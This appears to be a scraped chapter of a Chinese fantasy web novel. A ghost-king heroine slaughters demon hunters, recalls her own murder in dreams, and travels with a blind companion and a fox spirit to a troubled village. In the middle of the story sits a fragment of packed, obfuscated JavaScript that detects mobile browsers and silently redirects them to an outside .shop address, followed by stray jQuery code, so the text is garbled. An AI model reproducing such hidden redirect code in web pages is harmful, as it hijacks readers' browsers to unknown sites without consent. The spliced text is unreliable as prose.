3. 真假
    “杀了她!”

    “不能让她活!”

    阿满拼命奔跑着,不敢回头。她的身后是追兵,身前是雪地,白茫茫一片,看不到尽头。

    不能再跑了,会力竭而死的,她想。

    她只能战,要么战,要么死,决不投降。

    她没有武器,就抢敌人的剑,剑断了,就换一把。好多人要她死,也有好多人早已死在她的剑下,她无处可逃。

    被封住了法力,她只能靠自己,拼命活下来,先活下来。

    早已数不清杀了多少人,阿满全身被鲜血浸染成了红色,快要抬不起身了。但她绝不低头,她笑着:“今日我若是死了,我变成恶鬼也要杀了你们。”

    “死到临头了还要嘴硬。”

    她脱力跪在了地上,勉强用剑支撑着,不让自己倒下:“承蒙看得起,上百人杀我一人。”

    阿满好像那任人宰割的羔羊,被人一刀一刀的划开身体,划破喉咙。她不甘地问:“是谁要杀我?”

    “救救我。”在生命的最后一刻,她忍不住幻想有仙人可以从天而降,救她回到人间,她不想这样死得不明不白,无声无息。

    可是没有人救她。

    她仰躺在雪地上,呛咳着:“好暖啊。”

    那是她的血。

    她庆幸着,她还有时间可以看看天上的月亮。

    “为什么都想杀我啊,我什么都没做。”

    阿满闭上了眼睛,死在了那个寒冷的雪夜,从始至终,她没有落下一滴泪。

    “怪就怪你生错了地方,下次投个好胎吧。”这是她临死前听到的最后一句话。

    她多么渴望这只是一场梦啊,可是它真实得可怕。

    一道惊雷落下,阿满猛得睁开眼睛,惊魂未定:“真的是梦啊。”

    如果梦中的一切都真实发生过,她就是如此化身恶鬼的吗?

    那些人太不顾一切,就好像他们的使命,就是如此。

    外面一阵嘈杂的声音,窸窸窣窣的,令人心烦。不知为何,十几个百姓堵在了客栈门口,围得水泄不通,只说是为捉妖。

    客栈掌柜带着几名小厮堵在大门口,拼命阻拦着这些无来由就要捉妖的不速之客,眼见着就要冲进大堂。

    “有妖藏在客栈里!”

    “我们要除妖!”

    阿满将自己幻化成了一名凡人女子,盘了一个流苏髻,推开了门,不慌不忙地来到了他们面前。

    她心想,好吵啊,想把他们杀掉。

    她故作紧张:“这里有妖?那你们知道那妖是男是女,年岁几何,又知道他长什么样子吗?”

    一人小声地开口:“我不知道。”

    他们都不知道,但是却口口声声要去当这个除妖的勇者,仿佛今日若除了妖就能回家吹嘘一番,就能在妻儿面前抬得起头了。

    阿满瞧不起他们。

    既然都说她是妖,那她便作恶一回,让他们瞧瞧恶鬼是什么模样,死后也算长了见识。

    符宿不在,暴露了身份也就无关紧要了。

    此刻阿满已经起了杀心,与其留着这些人,还不如省些口粮给驻守边关的士兵,她说道:“我就是你们口中十恶不赦的妖,你们又能拿我如何呢?”

    “什么?这个弱女子居然是妖?快!杀了她。”

    “不想被杀也可以,小娘子跟我回家。”

    “诸位稍等,她不是妖,我可以为她担保。”来者是名男子,青色长袍在身,更显俊俏儒雅。

    可惜了,若不是有人打扰,下一秒这些人就可以落一个当街暴毙的下场。

    一个书生站了出来,不屑地说:“你又是谁?你凭什么能为她担保?我们都是经仙人指点前来捉妖的。”

    “青华宫的道长文鸢,见过诸位。需要同我回道观内查明身份吗?”

    文鸢挡在阿满身前,面对一众刁蛮百姓丝毫不惧:“这名女子身上毫无妖气,你们怕是被骗了罢,被人轻易挑唆可就不妙了。她刚才想必也是气急了,才谎称自己是妖。”

    当然没有,鬼身上怎么可能会有妖气呢。

    那书生和其他百姓瞥了一眼他身后的阿满,一下就失了底气,纷纷散去,未敢多言:“既然如此,我们信道长。”

    “他们走了,你不必怕。”文鸢正对阿满,行了一个拱手礼。

    阿满根本不怕。

    “多谢道长,我还有事,就不多留了。”阿满依旧警惕着,帮她的人未必可信。她还要问明白符宿在哪,方便与他汇合。

    “他走了,青虞,滚出来吧。”

    楼梯转弯处,一只狐狸冒了出来:“符宿本是留我保护你的,甚至还多次嘱咐我不要走远。但没想到刚才那个死道士法力那么强,居然让我现了原形!可恶!等我再修炼个几百年,必定比他强。”

    阿满揪起他的后脖颈,扔回了屋内:“现在回去给我解释清楚,他究竟是去做什么。”

    狐狸身手矫健,嗷的一声落在了桌案上:“今日卯时刚过,他便出了门,我也不知道他去了哪里,只说午时之前会回。”

    阿满敲了下狐狸的脑袋,说:“那便不管他了,我要出门办些事,你就在这里等他回来。”

    青虞眼冒金星,一头撞翻了茶杯:“哎呦!好晕。人呢?”

    整整十二人,五人人头落地,七人不能人道。

    阿满扔掉刚杀了人的短剑,叹息道:“真是恶心,”

    街上仍旧热闹,每家铺子都紧挨着,有的愁眉苦脸,有的喜上眉梢,而阿满此时的心情与过去截然不同。

    过去的万年里,她似浮萍,风吹到哪,她就飘到哪,了无牵挂。

    已经是极为好运了,她这样的恶鬼也可以拥有同伴,就算是短暂的同伴也没关系。

    可衣服上若隐若现的血迹,就好像她隐瞒着的身份,稍不注意就会被揭穿。

    阿满看到了一家糕点铺子,卖相不错:“掌柜,拿一份桂花糕。”

    “好嘞。”掌柜一边装着桂花糕,一边唠着家长里短:“对面成衣店今早来了个公子,他不仅不知道他娘子的衣裳尺寸,还非说不是买给娘子的,我怀疑啊,那是他养的外室。”

    阿满接过糕点,犹疑地问:“那位公子,不会眼盲吧?”

    “你怎么知道?瞎子来挑衣服我也是头一回见,不知道他现在还走没走。”掌柜叹了一口气,回了铺子内。

    今早来的,眼盲,要给女子买衣裳,阿满几乎确定他就是符宿。

    “公子,您回去叫上您娘子一块来挑吧,我绝对给她挑个顶顶好看的衣裳,衬得她像天仙一般。”掌柜无奈地说。

    看到这一幕,阿满都不知道说什么好,犹豫片刻:“符宿,你怎么会在这里。”

    符宿摸摸鼻尖,有些难为情:“今日就要启程,你却连新衣裳都没有几件,所以我想带回去送你。”

    掌柜拉过阿满,带着她逛着铺子:“小娘子,你看看你喜欢哪件?我做主送你。我今日见到如此漂亮的姑娘,这些衣裙都是陪衬了。唉,就是可惜了,你夫君他……这个样子。”

    阿满为她和符宿各挑了几件衣裳:“谢过掌柜娘子好意,这些送到城中的福来客栈。我夫君,他会好起来的。”

    掌柜目送着他们并肩走远,真是郎才女貌,分外般配。

    阿满提起那盒桂花糕:“回去尝一尝我买的桂花糕?”

    符宿顺手接过,笑着说:“好,回去尝尝。”

    阿满忽然想起了什么,似乎应该事先知会他一声:“青虞变回了原形,成了一只大白狐狸……”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214085|151149||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >他们都没再提起阿满的身份,是心照不宣,还是心知肚明,只有他们各自知晓了。

    客栈门口恢复了往日的平静,就像什么都没有发生过,而符宿还对今早发生的糟心事一无所知。

    狐狸再次口吐人言:“你们终于回来了!”

    符宿听到声音仍然不敢相信:“阿满,他这是真的吗?”

    青虞举起了一只爪子,摇头晃脑地说:“这就要从头说起了。今早门口忽然有好些人要闯进客栈捉妖,然后我们胆大包天的阿满,丝毫不怯,与他们对峙。结果来了个法力高强的道士为她解围,众人纷纷各回各家,却把我逼得现了原形。这个故事最后就这样收场。”

    他像是茶馆戏台的说书人,慢悠悠地讲起了评书:“不得不说,今日阿满可真是不同以往。不过,我听闻了一桩秘事,今日来捉妖的人,死的死伤的伤,会是谁做的呢?”

    阿满好似真的不知道,重复着他的话:“会是谁做的呢?”

    他们都不知道。

    符宿唤出浮光引,它化作地图,浮现出长安城外的一处小村落,柳家村。

    阿满思索了一会,说:“这个村子我有些印象,我有时会去茶馆闲逛,也就听说了许多异常的事。柳家村世世代代生活在渭河边,日出而作,日落而息。

    一年前,柳家村还只是一个民风淳朴的小村落,不受外界侵扰,堪比人间仙境,世外桃源。近日却有村民在河边失踪,至今下落不明。”

    符宿点点头:“到那就自见分晓。”

    他们计划乘马车前往柳家村,阿满坐在马车里睡着了,头靠在了符宿的肩,睡得并不安稳。

    她躺在了雪地上,阿满现在似乎已经死了,原来死亡是这种感觉。

    阿满望着离她远去的那些想杀她的人,心有不甘,恨意弥漫在她的心脏,散在她身体的每一处。

    她的魂魄即将离体了,她能感觉的到,可他们凭什么要了她的命?她不接受。

    “她她她!怎么活过来了?不是确认过她已经死了吗?”

    “是死了啊,我确认!”

    “她成了新一任鬼王,这怎么可能?”

    阿满捡起地上散落的剑,插进了他们的心脏:“当然因为,我是鬼啊,取你们狗命的恶鬼。左边的这位,你第一个死吧,你说的话让我很不高兴。”

    她格外疯狂,已经杀红了眼:“这样吧,你们讲讲是什么人想要杀我,我高兴了,你们也许能活着离开。”

    “求求饶我们一命吧。”剩下的人都跪着不断地磕着头,却无人说出阿满想听到的答案。

    雪地已经变成了血地,血流成河,横尸遍野。

    “来杀我的人真多啊,我都杀累了。”阿满恢复了神智,“你们走吧。转告那位想除掉我的人,今后我不再在人间使用鬼王之力。如果仍想将我赶尽杀绝,无论他在天上,地下,人间,还是避世不出的妖界,我必杀之。”

    又做梦了。阿满醒来的时候,一抬头,就是符宿那张胜似神仙的脸。大概是近日累极,符宿竟也睡着了,她小心翼翼地挪开自己的身子,出了马车。

    柳家村已经到了。

    阿满扫视一圈,青虞不在,不知道去了哪里。没想到他从马车背后站了起来,说:“我在这,我瞧你们都还没醒,就等着了。”

    约过了半刻钟,符宿才转醒,走出马车:“怎么不喊醒我?”

    “也不差这半刻。”阿满说道。

    三人换上了朴素的衣裳,跟着人群进了村子。

    村民们一听,他们想借宿几晚,都表现得极为热情,纷纷主动邀请他们住到自己的院子。

    “娘子,带着你夫君和弟弟到我家来住吧。”

    符宿和青虞双双愣住。

    谁是夫君?谁是弟弟?